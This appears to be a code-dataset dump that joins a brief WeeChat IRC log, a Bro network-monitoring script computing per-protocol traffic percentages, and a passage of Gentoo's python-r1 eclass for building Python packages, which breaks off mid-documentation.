2016-03-15 10:35:01 sedman how is your morning?
2016-03-15 10:35:07 sedman at work or WFH?
2016-03-15 11:59:29 < sedman (76561198022673169@steam) has quit (Leaving...)
2016-03-15 11:59:29 > sedman (76561198022673169@steam) is back on server
| IRC log | 0 | 0x4b1dN/2016-dots | misc/weechat/logs/irc.bitlbee.sedman.weechatlog | [
"MIT"
] |
##! Protocol stats summary (originator)
# Contributed by Reservoir Labs, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
##!
##! protocol-stats.bro is a script that reports the % of traffic
##! for each tracked protocol.
##!
##! This script reports the following logs:
##! - protocolstats_orig.log: protocol stats for outgoing traffic
##! - protocolstats_resp.log: protocol stats for incoming traffic
##!
##! Tips:
##! - To add or remove new protocols to track, please redefine
##! ProtocolStats::tracked_protocols and ProtocolStats::Info.
##! - This analytic adds a new Weird::actions called
##! 'protocolstats_untracked' that is triggered every time
##! there is traffic parsed by Bro that does not correpond
##! to any of the tracked protocols.
##! - The last column (UNTRACKED) in protocolstats_*.log
##! reports % of traffic that Bro was able to understand
##! but which is not in the list of tracked protocols.
##! - To learn which protocols are part of UNTRACKED, search
##! for 'protocolstats_untracked' entries in weird.log
##! - Protocol compositions (i.e. when the list of protocol analyzers
##! successfully attached to a flow is larger than 1), are
##! reported separately. E.g. 1000 bytes of traffic reported
##! on protocol composition 'ssl,smtp' is reported as 1000 bytes on
##! SSL and 1000 bytes on SMTP separately.
##!
module ProtocolStats;
export {
## The duration of the epoch, which defines the time between two consecutive reports
global epoch: interval = 10sec &redef;
## The protocol analyzers will build composites based on traffic. For example,
## SSL HTTP traffic will be denoted as SSL,HTTP (or HTTP,SSL). If composite_protocols
## is set, it will use the composites. If this is unset, it will attribute each
## component of the composite to the underlying protocol.
global composite_protocols: bool = T &redef;
## Supported (tracked) protocols. To add or remove new protocols, please redefine
## both ProtocolStats::tracked_protocols and ProtocolStats::Info.
global tracked_protocols: vector of string = {"ARP", "AYIYA",
"BackDoor", "BitTorrent",
"ConnSize",
"DCE_RPC", "DHCP", "DNP3", "DNS",
"File", "Finger", "FTP",
"Gnutella", "GTPv1",
"HTTP",
"ICMP", "Ident", "InterConn", "IRC",
"Login",
"MIME", "Modbus",
"NCP", "NetBIOS", "NetFlow", "NTP",
"PIA", "POP3",
"RADIUS", "RPC",
"SNMP", "SMB", "SMTP", "SOCKS", "SSH", "SSL", "SteppingStone", "Syslog",
"TCP", "Teredo",
"UDP",
"ZIP",
"HTTP,SSL",
"SSL,HTTP"
} &redef;
## Protocols that get logged
type Info: record {
start_time: string &log;
ARP: double &log;
AYIYA: double &log;
BackDoor: double &log;
BitTorrent: double &log;
ConnSize: double &log;
DCE_RPC: double &log;
DHCP: double &log;
DNP3: double &log;
DNS: double &log;
File: double &log;
Finger: double &log;
FTP: double &log;
Gnutella: double &log;
GTPv1: double &log;
HTTP: double &log;
ICMP: double &log;
Ident: double &log;
InterConn: double &log;
IRC: double &log;
Login: double &log;
MIME: double &log;
Modbus: double &log;
NCP: double &log;
NetBIOS: double &log;
NetFlow: double &log;
NTP: double &log;
PIA: double &log;
POP3: double &log;
RADIUS: double &log;
RPC: double &log;
SNMP: double &log;
SMB: double &log;
SMTP: double &log;
SOCKS: double &log;
SSH: double &log;
SSL: double &log;
SteppingStone: double &log;
Syslog: double &log;
TCP: double &log;
Teredo: double &log;
UDP: double &log;
ZIP: double &log;
HTTP_SSL: double &log;
SSL_HTTP: double &log;
UNTRACKED: double &log; # Traffic that has been parsed but which is not tracked in tracked_protocols
} &redef;
# Logging info
redef enum Log::ID += { ORIG };
redef enum Log::ID += { RESP };
# Logging events to track the summary stats (incoming and outgoing traffic)
global log_orig_proto_stats: event(rec: Info);
global log_resp_proto_stats: event(rec: Info);
# Table that takes as index a protocol name and as value the total number of bytes seen
global bytes_per_proto_orig: table[string] of double = table();
global bytes_per_proto_resp: table[string] of double = table();
}
## This weird action is triggered every time this analytic finds traffic on
## a protocol that is not in the list of tracked protocols.
redef Weird::actions += { ["protocolstats_untracked"] = Weird::ACTION_LOG };
#
# Generates a report based on the traffic direction
# This is called every 'epoch' interval.
#
function generate_protocol_stats(ts: time, direction: string)
{
local rec: ProtocolStats::Info;
local sum: double = 0.0;
local sum_untracked: double = 0.0;
local breakdown: string = "";
local proto_index: count;
local proto: string;
local tracked_protocol_values: table[string] of double;
local bytes_per_proto: table[string] of double = table();
if ( direction == "orig" )
bytes_per_proto = bytes_per_proto_orig;
else
bytes_per_proto = bytes_per_proto_resp;
# Compute total number of bytes seen from all protocols
for ( proto in bytes_per_proto )
sum += bytes_per_proto[proto];
# Compute percentages and prepare the breakdown of all known protocols
for ( proto_index in tracked_protocols ) {
local percentage: double;
proto = to_lower(tracked_protocols[proto_index]); # protocol services in Bro are all lower case
# If there's any data, calculate the percentage of total annd remove
# the entry. At the end, all known protocols will be removed and all that
# will be left are the unknowns.
if ( sum != 0 && proto in bytes_per_proto ) {
percentage = ( bytes_per_proto[proto] / sum ) * 100;
delete bytes_per_proto[proto];
}
else
percentage = 0;
tracked_protocol_values[proto] = percentage;
}
# Any remaining items in bytes_per_proto are not tracked, report them as weird
for (proto in bytes_per_proto) {
local rec_weird: Weird::Info;
rec_weird$ts = ts;
rec_weird$name = "protocolstats_untracked";
rec_weird$addl = fmt("%s: %s%s", proto, (bytes_per_proto[proto]/sum)*100, "%");
Log::write(Weird::LOG, rec_weird);
sum_untracked += bytes_per_proto[proto];
}
# Log one entry
rec = [$start_time= strftime("%c", ts - epoch ),
$ARP=tracked_protocol_values["arp"],
$AYIYA=tracked_protocol_values["ayiya"],
$BackDoor=tracked_protocol_values["backdoor"],
$BitTorrent=tracked_protocol_values["bittorrent"],
$ConnSize=tracked_protocol_values["connsize"],
$DCE_RPC=tracked_protocol_values["dce_rpc"],
$DHCP=tracked_protocol_values["dhcp"],
$DNP3=tracked_protocol_values["dnp3"],
$DNS=tracked_protocol_values["dns"],
$File=tracked_protocol_values["file"],
$Finger=tracked_protocol_values["finger"],
$FTP=tracked_protocol_values["ftp"],
$Gnutella=tracked_protocol_values["gnutella"],
$GTPv1=tracked_protocol_values["gtpv1"],
$HTTP=tracked_protocol_values["http"],
$ICMP=tracked_protocol_values["icmp"],
$Ident=tracked_protocol_values["ident"],
$InterConn=tracked_protocol_values["interconn"],
$IRC=tracked_protocol_values["irc"],
$Login=tracked_protocol_values["login"],
$MIME=tracked_protocol_values["mime"],
$Modbus=tracked_protocol_values["modbus"],
$NCP=tracked_protocol_values["ncp"],
$NetBIOS=tracked_protocol_values["netbios"],
$NetFlow=tracked_protocol_values["netflow"],
$NTP=tracked_protocol_values["ntp"],
$PIA=tracked_protocol_values["pia"],
$POP3=tracked_protocol_values["pop3"],
$RADIUS=tracked_protocol_values["radius"],
$RPC=tracked_protocol_values["rpc"],
$SNMP=tracked_protocol_values["snmp"],
$SMB=tracked_protocol_values["smb"],
$SMTP=tracked_protocol_values["smtp"],
$SOCKS=tracked_protocol_values["socks"],
$SSH=tracked_protocol_values["ssh"],
$SSL=tracked_protocol_values["ssl"],
$SteppingStone=tracked_protocol_values["steppingstone"],
$Syslog=tracked_protocol_values["syslog"],
$TCP=tracked_protocol_values["tcp"],
$Teredo=tracked_protocol_values["teredo"],
$UDP=tracked_protocol_values["udp"],
$ZIP=tracked_protocol_values["zip"],
$HTTP_SSL=tracked_protocol_values["http,ssl"],
$SSL_HTTP=tracked_protocol_values["ssl,http"],
$UNTRACKED=100*sum_untracked/sum
];
# Write out the record and re-initialize the global table
if ( direction == "orig" ) {
Log::write(ProtocolStats::ORIG, rec);
bytes_per_proto_orig = table();
}
else {
Log::write(ProtocolStats::RESP, rec);
bytes_per_proto_resp = table();
}
return;
}
#
# Records one observation
#
function record_observation(key: SumStats::Key, r: SumStats::ResultVal, direction: string) {
local proto_index: count;
local protocols:string_array;
# use either composite protocols or break them up into their individual components
if ( composite_protocols ) {
protocols = string_array();
protocols[0] = key$str;
}
else {
protocols = split(key$str, /,/);
}
# populate a table index by protocol with the values of the observation
if ( direction == "orig" )
for ( proto_index in protocols ) bytes_per_proto_orig[protocols[proto_index]] = r$sum;
else
for ( proto_index in protocols ) bytes_per_proto_resp[protocols[proto_index]] = r$sum;
return;
}
event bro_init()
{
Log::create_stream(ProtocolStats::ORIG, [$columns=Info, $ev=log_orig_proto_stats]);
Log::create_stream(ProtocolStats::RESP, [$columns=Info, $ev=log_resp_proto_stats]);
# Define reducers
local r1 = SumStats::Reducer($stream="orig.proto.stats", $apply=set(SumStats::SUM));
local r2 = SumStats::Reducer($stream="resp.proto.stats", $apply=set(SumStats::SUM));
# Define SumStats
SumStats::create([$name="orig.proto.stats",
$epoch=epoch,
$reducers=set(r1),
$epoch_result(ts: time, key: SumStats::Key, result: SumStats::Result) = { record_observation(key, result["orig.proto.stats"], "orig"); },
$epoch_finished(ts: time) = { generate_protocol_stats(ts, "orig"); }
]);
SumStats::create([$name="resp.proto.stats",
$epoch=epoch,
$reducers=set(r2),
$epoch_result(ts: time, key: SumStats::Key, result: SumStats::Result) = { record_observation(key, result["resp.proto.stats"], "resp"); },
$epoch_finished(ts: time) = { generate_protocol_stats(ts, "resp"); }
]);
}
event connection_state_remove(c: connection)
{
if ( ! c$conn?$service )
return;
# Log one tuple observation [protocol name, number of bytes seen] for each direction
SumStats::observe("orig.proto.stats", [$str=c$conn$service], [$num=c$orig$size]);
SumStats::observe("resp.proto.stats", [$str=c$conn$service], [$num=c$resp$size]);
}
| Bro | 5 | reservoirlabs/bro-scripts | supercomputing/protocol-stats.bro | [
"Apache-2.0"
] |
# Copyright 1999-2018 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# @ECLASS: python-r1.eclass
# @MAINTAINER:
# Python team <python@gentoo.org>
# @AUTHOR:
# Author: Michał Górny <mgorny@gentoo.org>
# Based on work of: Krzysztof Pawlik <nelchael@gentoo.org>
# @SUPPORTED_EAPIS: 5 6 7
# @BLURB: A common, simple eclass for Python packages.
# @DESCRIPTION:
# A common eclass providing helper functions to build and install
# packages supporting being installed for multiple Python
# implementations.
#
# This eclass sets correct IUSE. Modification of REQUIRED_USE has to
# be done by the author of the ebuild (but PYTHON_REQUIRED_USE is
# provided for convenience, see below). python-r1 exports PYTHON_DEPS
# and PYTHON_USEDEP so you can create correct dependencies for your
# package easily. It also provides methods to easily run a command for
# each enabled Python implementation and duplicate the sources for them.
#
# Please note that python-r1 will always inherit python-utils-r1 as
# well. Thus, all the functions defined there can be used
# in the packages using python-r1, and there is no need ever to inherit
# both.
#
# For more information, please see the wiki:
# https://wiki.gentoo.org/wiki/Project:Python/python-r1
case "${EAPI:-0}" in
0|1|2|3|4)
die "Unsupported EAPI=${EAPI:-0} (too old) for ${ECLASS}"
;;
5|6|7)
# EAPI=5 is required for sane USE_EXPAND dependencies
;;
*)
die "Unsupported EAPI=${EAPI} (unknown) for ${ECLASS}"
;;
esac
if [[ ! ${_PYTHON_R1} ]]; then
if [[ ${_PYTHON_SINGLE_R1} ]]; then
die 'python-r1.eclass can not be used with python-single-r1.eclass.'
elif [[ ${_PYTHON_ANY_R1} ]]; then
die 'python-r1.eclass can not be used with python-any-r1.eclass.'
fi
[[ ${EAPI} == [45] ]] && inherit eutils
inherit multibuild python-utils-r1
fi
# @ECLASS-VARIABLE: PYTHON_COMPAT
# @REQUIRED
# @DESCRIPTION:
# This variable contains a list of Python implementations the package
# supports. It must be set before the `inherit' call. It has to be
# an array.
#
# Example:
# @CODE
# PYTHON_COMPAT=( python2_7 python3_3 python3_4 )
# @CODE
#
# Please note that you can also use bash brace expansion if you like:
# @CODE
# PYTHON_COMPAT=( python2_7 python3_{3,4} )
# @CODE
# @ECLASS-VARIABLE: PYTHON_COMPAT_OVERRIDE
# @INTERNAL
# @DESCRIPTION:
# This variable can be used when working with ebuilds to override
# the in-ebuild PYTHON_COMPAT. It is a string listing all
# the implementations which package will be built for. It need be
# specified in the calling environment, and not in ebuilds.
#
# It should be noted that in order to preserve metadata immutability,
# PYTHON_COMPAT_OVERRIDE does not affect IUSE nor dependencies.
# The state of PYTHON_TARGETS is ignored, and all the implementations
# in PYTHON_COMPAT_OVERRIDE are built. Dependencies need to be satisfied
# manually.
#
# Example:
# @CODE
# PYTHON_COMPAT_OVERRIDE='pypy python3_3' emerge -1v dev-python/foo
# @CODE
# @ECLASS-VARIABLE: PYTHON_REQ_USE
# @DEFAULT_UNSET
# @DESCRIPTION:
# The list of USEflags required to be enabled on the chosen Python
# implementations, formed as a USE-dependency string. It should be valid
# for all implementations in PYTHON_COMPAT, so it may be necessary to
# use USE defaults.
#
# This should be set before calling `inherit'.
#
# Example:
# @CODE
# PYTHON_REQ_USE="gdbm,ncurses(-)?"
# @CODE
#
# It will cause the Python dependencies to look like:
# @CODE
# python_targets_pythonX_Y? ( dev-lang/python:X.Y[gdbm,ncurses(-)?] )
# @CODE
# @ECLASS-VARIABLE: PYTHON_DEPS
# @DESCRIPTION:
# This is an eclass-generated Python dependency string for all
# implementations listed in PYTHON_COMPAT.
#
# Example use:
# @CODE
# RDEPEND="${PYTHON_DEPS}
# dev-foo/mydep"
# DEPEND="${RDEPEND}"
# @CODE
#
# Example value:
# @CODE
# dev-lang/python-exec:=
# python_targets_python2_7? ( dev-lang/python:2.7[gdbm] )
# python_targets_pypy? ( virtual/pypy[gdbm] )
# @CODE
# @ECLASS-VARIABLE: PYTHON_USEDEP
# @DESCRIPTION:
# This is an eclass-generated USE-dependency string which can be used to
# depend on another Python package being built for the same Python
# implementations.
#
# The generate USE-flag list is compatible with packages using python-r1
# and python-distutils-ng eclasses. It must not be used on packages
# using python.eclass.
#
# Example use:
# @CODE
# RDEPEND="dev-python/foo[${PYTHON_USEDEP}]"
# @CODE
#
# Example value:
# @CODE
# python_targets_python2_7(-)?,python_targets_python3_4(-)?
# @CODE
# @ECLASS-VARIABLE: PYTHON_REQUIRED_USE
# @DESCRIPTION:
# This is an eclass-generated required-use expression which ensures at
# least one Python implementation has been enabled.
#
# This expression should be utilized in an ebuild by including it in
# REQUIRED_USE, optionally behind a use flag.
#
# Example use:
# @CODE
# REQUIRED_USE="python? ( ${PYTHON_REQUIRED_USE} )"
# @CODE
#
# Example value:
# @CODE
# || ( python_targets_python2_7 python_targets_python3_4 )
# @CODE
_python_set_globals() {
local deps i PYTHON_PKG_DEP
_python_set_impls
for i in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
python_export "${i}" PYTHON_PKG_DEP
deps+="python_targets_${i}? ( ${PYTHON_PKG_DEP} ) "
done
local flags=( "${_PYTHON_SUPPORTED_IMPLS[@]/#/python_targets_}" )
local optflags=${flags[@]/%/(-)?}
# A nice QA trick here. Since a python-single-r1 package has to have
# at least one PYTHON_SINGLE_TARGET enabled (REQUIRED_USE),
# the following check will always fail on those packages. Therefore,
# it should prevent developers from mistakenly depending on packages
# not supporting multiple Python implementations.
local flags_st=( "${_PYTHON_SUPPORTED_IMPLS[@]/#/-python_single_target_}" )
optflags+=,${flags_st[@]/%/(-)}
local requse="|| ( ${flags[*]} )"
local usedep=${optflags// /,}
# 1) well, python-exec would suffice as an RDEP
# but no point in making this overcomplex, BDEP doesn't hurt anyone
# 2) python-exec should be built with all targets forced anyway
# but if new targets were added, we may need to force a rebuild
if [[ ${_PYTHON_WANT_PYTHON_EXEC2} == 0 ]]; then
die "python-exec:0 is no longer supported, please fix your ebuild to work with python-exec:2"
else
deps+=">=dev-lang/python-exec-2:=[${usedep}]"
fi
if [[ ${PYTHON_DEPS+1} ]]; then
# IUSE is magical, so we can't really check it
# (but we verify PYTHON_COMPAT already)
if [[ ${PYTHON_DEPS} != "${deps}" ]]; then
eerror "PYTHON_DEPS have changed between inherits (PYTHON_REQ_USE?)!"
eerror "Before: ${PYTHON_DEPS}"
eerror "Now : ${deps}"
die "PYTHON_DEPS integrity check failed"
fi
# these two are formality -- they depend on PYTHON_COMPAT only
if [[ ${PYTHON_REQUIRED_USE} != ${requse} ]]; then
eerror "PYTHON_REQUIRED_USE have changed between inherits!"
eerror "Before: ${PYTHON_REQUIRED_USE}"
eerror "Now : ${requse}"
die "PYTHON_REQUIRED_USE integrity check failed"
fi
if [[ ${PYTHON_USEDEP} != "${usedep}" ]]; then
eerror "PYTHON_USEDEP have changed between inherits!"
eerror "Before: ${PYTHON_USEDEP}"
eerror "Now : ${usedep}"
die "PYTHON_USEDEP integrity check failed"
fi
else
IUSE=${flags[*]}
PYTHON_DEPS=${deps}
PYTHON_REQUIRED_USE=${requse}
PYTHON_USEDEP=${usedep}
readonly PYTHON_DEPS PYTHON_REQUIRED_USE
fi
}
_python_set_globals
unset -f _python_set_globals
if [[ ! ${_PYTHON_R1} ]]; then
# @FUNCTION: _python_validate_useflags
# @INTERNAL
# @DESCRIPTION:
# Enforce the proper setting of PYTHON_TARGETS, if PYTHON_COMPAT_OVERRIDE
# is not in effect. If it is, just warn that the flags will be ignored.
_python_validate_useflags() {
debug-print-function ${FUNCNAME} "${@}"
if [[ ${PYTHON_COMPAT_OVERRIDE} ]]; then
if [[ ! ${_PYTHON_COMPAT_OVERRIDE_WARNED} ]]; then
ewarn "WARNING: PYTHON_COMPAT_OVERRIDE in effect. The following Python"
ewarn "implementations will be enabled:"
ewarn
ewarn " ${PYTHON_COMPAT_OVERRIDE}"
ewarn
ewarn "Dependencies won't be satisfied, and PYTHON_TARGETS will be ignored."
_PYTHON_COMPAT_OVERRIDE_WARNED=1
fi
# we do not use flags with PCO
return
fi
local i
for i in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
use "python_targets_${i}" && return 0
done
eerror "No Python implementation selected for the build. Please add one"
eerror "of the following values to your PYTHON_TARGETS (in make.conf):"
eerror
eerror "${PYTHON_COMPAT[@]}"
echo
die "No supported Python implementation in PYTHON_TARGETS."
}
# @FUNCTION: python_gen_usedep
# @USAGE: <pattern> [...]
# @DESCRIPTION:
# Output a USE dependency string for Python implementations which
# are both in PYTHON_COMPAT and match any of the patterns passed
# as parameters to the function.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# When all implementations are requested, please use ${PYTHON_USEDEP}
# instead. Please also remember to set an appropriate REQUIRED_USE
# to avoid ineffective USE flags.
#
# Example:
# @CODE
# PYTHON_COMPAT=( python{2_7,3_4} )
# DEPEND="doc? ( dev-python/epydoc[$(python_gen_usedep 'python2*')] )"
# @CODE
#
# It will cause the dependency to look like:
# @CODE
# DEPEND="doc? ( dev-python/epydoc[python_targets_python2_7?] )"
# @CODE
python_gen_usedep() {
debug-print-function ${FUNCNAME} "${@}"
local impl matches=()
for impl in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
if _python_impl_matches "${impl}" "${@}"; then
matches+=(
"python_targets_${impl}(-)?"
"-python_single_target_${impl}(-)"
)
fi
done
[[ ${matches[@]} ]] || die "No supported implementations match python_gen_usedep patterns: ${@}"
local out=${matches[@]}
echo "${out// /,}"
}
# @FUNCTION: python_gen_useflags
# @USAGE: <pattern> [...]
# @DESCRIPTION:
# Output a list of USE flags for Python implementations which
# are both in PYTHON_COMPAT and match any of the patterns passed
# as parameters to the function.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# Example:
# @CODE
# PYTHON_COMPAT=( python{2_7,3_4} )
# REQUIRED_USE="doc? ( || ( $(python_gen_useflags python2*) ) )"
# @CODE
#
# It will cause the variable to look like:
# @CODE
# REQUIRED_USE="doc? ( || ( python_targets_python2_7 ) )"
# @CODE
python_gen_useflags() {
debug-print-function ${FUNCNAME} "${@}"
local impl matches=()
for impl in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
if _python_impl_matches "${impl}" "${@}"; then
matches+=( "python_targets_${impl}" )
fi
done
echo "${matches[@]}"
}
# @FUNCTION: python_gen_cond_dep
# @USAGE: <dependency> <pattern> [...]
# @DESCRIPTION:
# Output a list of <dependency>-ies made conditional to USE flags
# of Python implementations which are both in PYTHON_COMPAT and match
# any of the patterns passed as the remaining parameters.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# In order to enforce USE constraints on the packages, verbatim
# '${PYTHON_USEDEP}' (quoted!) may be placed in the dependency
# specification. It will get expanded within the function into a proper
# USE dependency string.
#
# Example:
# @CODE
# PYTHON_COMPAT=( python{2_7,3_{3,4}} pypy )
# RDEPEND="$(python_gen_cond_dep \
# 'dev-python/unittest2[${PYTHON_USEDEP}]' python2_7 pypy )"
# @CODE
#
# It will cause the variable to look like:
# @CODE
# RDEPEND="python_targets_python2_7? (
# dev-python/unittest2[python_targets_python2_7?] )
# python_targets_pypy? (
# dev-python/unittest2[python_targets_pypy?] )"
# @CODE
python_gen_cond_dep() {
debug-print-function ${FUNCNAME} "${@}"
local impl matches=()
local dep=${1}
shift
for impl in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
if _python_impl_matches "${impl}" "${@}"; then
# substitute ${PYTHON_USEDEP} if used
# (since python_gen_usedep() will not return ${PYTHON_USEDEP}
# the code is run at most once)
if [[ ${dep} == *'${PYTHON_USEDEP}'* ]]; then
local usedep=$(python_gen_usedep "${@}")
dep=${dep//\$\{PYTHON_USEDEP\}/${usedep}}
fi
matches+=( "python_targets_${impl}? ( ${dep} )" )
fi
done
echo "${matches[@]}"
}
# @FUNCTION: python_gen_impl_dep
# @USAGE: [<requested-use-flags> [<impl-pattern>...]]
# @DESCRIPTION:
# Output a dependency on Python implementations with the specified USE
# dependency string appended, or no USE dependency string if called
# without the argument (or with empty argument). If any implementation
# patterns are passed, the output dependencies will be generated only
# for the implementations matching them.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# Use this function when you need to request different USE flags
# on the Python interpreter depending on package's USE flags. If you
# only need a single set of interpreter USE flags, just set
# PYTHON_REQ_USE and use ${PYTHON_DEPS} globally.
#
# Example:
# @CODE
# PYTHON_COMPAT=( python{2_7,3_{3,4}} pypy )
# RDEPEND="foo? ( $(python_gen_impl_dep 'xml(+)') )"
# @CODE
#
# It will cause the variable to look like:
# @CODE
# RDEPEND="foo? (
# python_targets_python2_7? (
# dev-lang/python:2.7[xml(+)] )
# python_targets_pypy? (
# dev-python/pypy[xml(+)] ) )"
# @CODE
python_gen_impl_dep() {
debug-print-function ${FUNCNAME} "${@}"
local impl matches=()
local PYTHON_REQ_USE=${1}
shift
local patterns=( "${@-*}" )
for impl in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
if _python_impl_matches "${impl}" "${patterns[@]}"; then
local PYTHON_PKG_DEP
python_export "${impl}" PYTHON_PKG_DEP
matches+=( "python_targets_${impl}? ( ${PYTHON_PKG_DEP} )" )
fi
done
echo "${matches[@]}"
}
# @FUNCTION: python_gen_any_dep
# @USAGE: <dependency-block> [<impl-pattern>...]
# @DESCRIPTION:
# Generate an any-of dependency that enforces a version match between
# the Python interpreter and Python packages. <dependency-block> needs
# to list one or more dependencies with verbatim '${PYTHON_USEDEP}'
# references (quoted!) that will get expanded inside the function.
# Optionally, patterns may be specified to restrict the dependency
# to a subset of Python implementations supported by the ebuild.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
# python_is_python3). Remember to escape or quote the fnmatch patterns
# to prevent accidental shell filename expansion.
#
# This should be used along with an appropriate python_check_deps()
# that checks which of the any-of blocks were matched, and python_setup
# call that enables use of the matched implementation.
#
# Example use:
# @CODE
# DEPEND="$(python_gen_any_dep '
# dev-python/foo[${PYTHON_USEDEP}]
# || ( dev-python/bar[${PYTHON_USEDEP}]
# dev-python/baz[${PYTHON_USEDEP}] )' -2)"
#
# python_check_deps() {
# has_version "dev-python/foo[${PYTHON_USEDEP}]" \
# && { has_version "dev-python/bar[${PYTHON_USEDEP}]" \
# || has_version "dev-python/baz[${PYTHON_USEDEP}]"; }
# }
#
# src_compile() {
# python_foreach_impl usual_code
#
# # some common post-build task that requires Python 2
# python_setup -2
# emake frobnicate
# }
# @CODE
#
# Example value:
# @CODE
# || (
# (
# dev-lang/python:2.7
# dev-python/foo[python_targets_python2_7(-)?,python_single_target_python2_7(+)?]
# || ( dev-python/bar[python_targets_python2_7(-)?,python_single_target_python2_7(+)?]
# dev-python/baz[python_targets_python2_7(-)?,python_single_target_python2_7(+)?] )
# )
# (
# dev-lang/python:3.3
# dev-python/foo[python_targets_python3_3(-)?,python_single_target_python3_3(+)?]
# || ( dev-python/bar[python_targets_python3_3(-)?,python_single_target_python3_3(+)?]
# dev-python/baz[python_targets_python3_3(-)?,python_single_target_python3_3(+)?] )
# )
# )
# @CODE
python_gen_any_dep() {
debug-print-function ${FUNCNAME} "${@}"
local depstr=${1}
[[ ${depstr} ]] || die "No dependency string provided"
shift
local i PYTHON_PKG_DEP out=
for i in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
if _python_impl_matches "${i}" "${@-*}"; then
local PYTHON_USEDEP="python_targets_${i}(-),python_single_target_${i}(+)"
python_export "${i}" PYTHON_PKG_DEP
local i_depstr=${depstr//\$\{PYTHON_USEDEP\}/${PYTHON_USEDEP}}
# note: need to strip '=' slot operator for || deps
out="( ${PYTHON_PKG_DEP%=} ${i_depstr} ) ${out}"
fi
done
echo "|| ( ${out})"
}
# @ECLASS-VARIABLE: BUILD_DIR
# @DESCRIPTION:
# The current build directory. In global scope, it is supposed to
# contain an initial build directory; if unset, it defaults to ${S}.
#
# In functions run by python_foreach_impl(), the BUILD_DIR is locally
# set to an implementation-specific build directory. That path is
# created through appending a hyphen and the implementation name
# to the final component of the initial BUILD_DIR.
#
# Example value:
# @CODE
# ${WORKDIR}/foo-1.3-python2_7
# @CODE
# @FUNCTION: python_copy_sources
# @DESCRIPTION:
# Create a single copy of the package sources for each enabled Python
# implementation.
#
# The sources are always copied from initial BUILD_DIR (or S if unset)
# to implementation-specific build directory matching BUILD_DIR used by
# python_foreach_abi().
python_copy_sources() {
debug-print-function ${FUNCNAME} "${@}"
local MULTIBUILD_VARIANTS
_python_obtain_impls
multibuild_copy_sources
}
# @FUNCTION: _python_obtain_impls
# @INTERNAL
# @DESCRIPTION:
# Set up the enabled implementation list.
_python_obtain_impls() {
_python_validate_useflags
if [[ ${PYTHON_COMPAT_OVERRIDE} ]]; then
MULTIBUILD_VARIANTS=( ${PYTHON_COMPAT_OVERRIDE} )
return
fi
MULTIBUILD_VARIANTS=()
local impl
for impl in "${_PYTHON_SUPPORTED_IMPLS[@]}"; do
has "${impl}" "${PYTHON_COMPAT[@]}" && \
use "python_targets_${impl}" && MULTIBUILD_VARIANTS+=( "${impl}" )
done
}
# @FUNCTION: _python_multibuild_wrapper
# @USAGE: <command> [<args>...]
# @INTERNAL
# @DESCRIPTION:
# Initialize the environment for Python implementation selected
# for multibuild.
_python_multibuild_wrapper() {
debug-print-function ${FUNCNAME} "${@}"
local -x EPYTHON PYTHON
local -x PATH=${PATH} PKG_CONFIG_PATH=${PKG_CONFIG_PATH}
python_export "${MULTIBUILD_VARIANT}" EPYTHON PYTHON
python_wrapper_setup
"${@}"
}
# @FUNCTION: python_foreach_impl
# @USAGE: <command> [<args>...]
# @DESCRIPTION:
# Run the given command for each of the enabled Python implementations.
# If additional parameters are passed, they will be passed through
# to the command.
#
# The function will return 0 status if all invocations succeed.
# Otherwise, the return code from first failing invocation will
# be returned.
#
# For each command being run, EPYTHON, PYTHON and BUILD_DIR are set
# locally, and the former two are exported to the command environment.
python_foreach_impl() {
debug-print-function ${FUNCNAME} "${@}"
local MULTIBUILD_VARIANTS
_python_obtain_impls
multibuild_foreach_variant _python_multibuild_wrapper "${@}"
}
# @FUNCTION: python_setup
# @USAGE: [<impl-pattern>...]
# @DESCRIPTION:
# Find the best (most preferred) Python implementation that is suitable
# for running common Python code. Set the Python build environment up
# for that implementation. This function has two modes of operation:
# pure and any-of dep.
#
# The pure mode is used if python_check_deps() function is not declared.
# In this case, an implementation is considered suitable if it is
# supported (in PYTHON_COMPAT), enabled (via USE flags) and matches
# at least one of the patterns passed (or '*' if no patterns passed).
#
# Implementation restrictions in the pure mode need to be accompanied
# by appropriate REQUIRED_USE constraints. Otherwise, the eclass may
# fail at build time due to unsatisfied dependencies.
#
# The any-of dep mode is used if python_check_deps() is declared.
# In this mode, an implementation is considered suitable if it is
# supported, matches at least one of the patterns and python_check_deps()
# has successful return code. USE flags are not considered.
#
# The python_check_deps() function in the any-of mode needs to be
# accompanied by appropriate any-of dependencies.
#
# The patterns can be either fnmatch-style patterns (matched via bash
# == operator against PYTHON_COMPAT values) or '-2' / '-3' to indicate
# appropriately all enabled Python 2/3 implementations (alike
